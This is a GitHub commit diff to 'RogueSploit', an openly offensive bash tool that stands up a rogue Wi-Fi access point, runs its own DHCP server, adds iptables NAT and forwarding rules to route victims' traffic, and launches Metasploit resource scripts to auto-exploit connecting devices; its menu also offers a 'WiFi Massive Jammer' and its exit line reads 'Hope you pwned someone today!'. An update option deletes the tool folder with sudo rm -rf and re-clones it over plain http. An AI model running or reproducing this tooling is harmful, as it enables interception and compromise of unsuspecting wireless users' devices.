Update RogueSploit

This commit is contained in:
Francesco Grotti
2016-12-19 15:12:37 +01:00
committed by GitHub
parent d7c06db19a
commit c342a54216

View File

@@ -75,13 +75,25 @@ read warning
#starting the pwning #starting the pwning
autopwning1 () { autopwning1 () {
pkill dhcpd
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -A FORWARD -i wlan1 -j ACCEPT
touch /var/lib/dhcp/dhcpd.leases touch /var/lib/dhcp/dhcpd.leases
dhcpd -cf dhcpd.conf at0 dhcpd -cf dhcpd.conf at0
msfconsole -r $(pwd)/roguepwn1.rc msfconsole -r $(pwd)/roguepwn1.rc
} }
autopwning2 () { autopwning2 () {
pkill dhcpd
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -A FORWARD -i wlan1 -j ACCEPT
touch /var/lib/dhcp/dhcpd.leases touch /var/lib/dhcp/dhcpd.leases
dhcpd -cf dhcpd.conf at0 dhcpd -cf dhcpd.conf at0
msfconsole -r $(pwd)/roguepwn2.rc msfconsole -r $(pwd)/roguepwn2.rc
@@ -98,6 +110,7 @@ echo -e $lightgreen" 3. Start WiFi Massive Jammer"
echo -e $lightgreen" 4. Credits" echo -e $lightgreen" 4. Credits"
echo -e $lightgreen" 5. Exit" echo -e $lightgreen" 5. Exit"
echo -e $lightgreen" 6. TUTORIAL" echo -e $lightgreen" 6. TUTORIAL"
echo -e $green" 7. Update wit Git"
echo -ne $yellow"root@roguesploit:"; read answer1 echo -ne $yellow"root@roguesploit:"; read answer1
if test $answer1 == '1' if test $answer1 == '1'
@@ -192,27 +205,33 @@ elif test $answer1 == '6'
echo -ne $yellow"Press any key to continue..." echo -ne $yellow"Press any key to continue..."
read continuos read continuos
menu menu
elif test $answer1 == '7'
then
echo -ne
cd ../ && sudo rm -rf RogueSploit/
git clone http://github.com/b4ckp0r7/RogueSploit.git
exit
else else
echo -e $red"[!] Incorrect Number [!]" echo -e $red"[!] Incorrect Number [!]"
echo -n -e $yellow" Do you want exit? ( Yes / No ) :" echo -n -e $yellow" Do you want exit? ( Yes / No ) :"
read back read back
if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'No' ] if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'No' ]
then then
echo -e $red"--<[*] Stopping all service , Wait... [*]>--" echo -e $red"--<[*] Stopping all service , Wait... [*]>--"
pkill dhcpd pkill dhcpd
pkill airmon-ng pkill airmon-ng
pkill airbase-ng pkill airbase-ng
ifconfig at0 down ifconfig at0 down
sleep 1 sleep 1
echo -e $yellow"--<[*] Hope you pwned someone today! [*]>--" echo -e $yellow"--<[*] Hope you pwned someone today! [*]>--"
echo -e $yellow"--<[*] Thank You For Using Karmasploit B) [*]>--" echo -e $yellow"--<[*] Thank You For Using Karmasploit B) [*]>--"
sleep 2 sleep 2
clear clear
exit exit
elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'Yes' ] elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'Yes' ]
then then
menu menu
fi fi
fi fi
} }
#menu2 #menu2
@@ -320,25 +339,31 @@ elif test $answer1 == '6'
echo -ne $yellow"Press any key to continue..." echo -ne $yellow"Press any key to continue..."
read continuos read continuos
menu menu
elif test $answer1 == '7'
then
echo -ne
cd ../ && sudo rm -rf RogueSploit/
git clone http://github.com/b4ckp0r7/RogueSploit.git
exit
else else
echo -e $red"[!] Incorrect Number [!]" echo -e $red"[!] Incorrect Number [!]"
echo -n -e $yellow" Do you want exit? ( Yes / No ) :" echo -n -e $yellow" Do you want exit? ( Yes / No ) :"
read back read back
if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'No' ] if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'No' ]
then then
echo -e $red"--<[*] Stopping all service , Wait... [*]>--" echo -e $red"--<[*] Stopping all service , Wait... [*]>--"
pkill dhcpd pkill dhcpd
pkill airmon-ng pkill airmon-ng
pkill airbase-ng pkill airbase-ng
ifconfig at0 down ifconfig at0 down
sleep 1 sleep 1
echo -e $yellow"--<[*] Hope you pwned someone today! [*]>--" echo -e $yellow"--<[*] Hope you pwned someone today! [*]>--"
echo -e $yellow"--<[*] Thank You For Using Roguesploit B) [*]>--" echo -e $yellow"--<[*] Thank You For Using Roguesploit B) [*]>--"
sleep 2 sleep 2
clear clear
exit exit
elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'Yes' ] elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'Yes' ]
then then
menu menu
fi fi
fi fi